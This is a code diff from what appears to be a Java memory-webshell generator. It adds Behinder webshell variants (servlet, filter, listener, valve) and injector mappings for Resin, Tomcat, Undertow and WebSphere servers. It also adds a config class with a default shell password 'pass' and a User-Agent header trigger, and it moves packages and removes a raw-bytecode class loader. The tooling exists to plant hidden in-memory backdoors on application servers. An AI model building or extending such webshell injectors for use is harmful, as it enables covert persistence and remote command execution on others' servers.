import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -49,4 +52,16 @@ public class ResinShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class)
);
}
}
@@ -1,12 +1,16 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
@@ -16,7 +20,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -62,4 +66,18 @@ public class TomcatShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
@@ -49,4 +52,16 @@ public class UndertowShell extends AbstractShell {
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
@@ -43,4 +46,13 @@ public class WebSphereShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
);
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import net.bytebuddy.jar.asm.Opcodes;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
/**
* @author ReaJason
@@ -13,5 +13,10 @@ public enum ShellTool {
/**
* 命令回显
*/
Command
Command,
/**
* 冰蝎
*/
Behinder
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.config;
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,6 @@
package com.reajason.javaweb.util;
package com.reajason.javaweb.memshell.utils;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.memshell.config.Server;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -1,10 +0,0 @@
package com.reajason.javaweb.util;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -1,39 +0,0 @@
package com.reajason.javaweb.util;
import lombok.SneakyThrows;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2024/11/23
*/
public class ClassUtils {
@SneakyThrows
public static Class<?> defineClass(byte[] bytes) {
return ClassDefiner.defineClass(bytes);
}
@SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
}
@SneakyThrows
public static Object getFieldValue(Object object, String fieldName) {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}
@SneakyThrows
public static Object invokeMethod(Object object, String methodName, Class<?>[] parameterTypes, Object[] parameters) {
Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes);
method.setAccessible(true);
return method.invoke(object, parameters);
}
}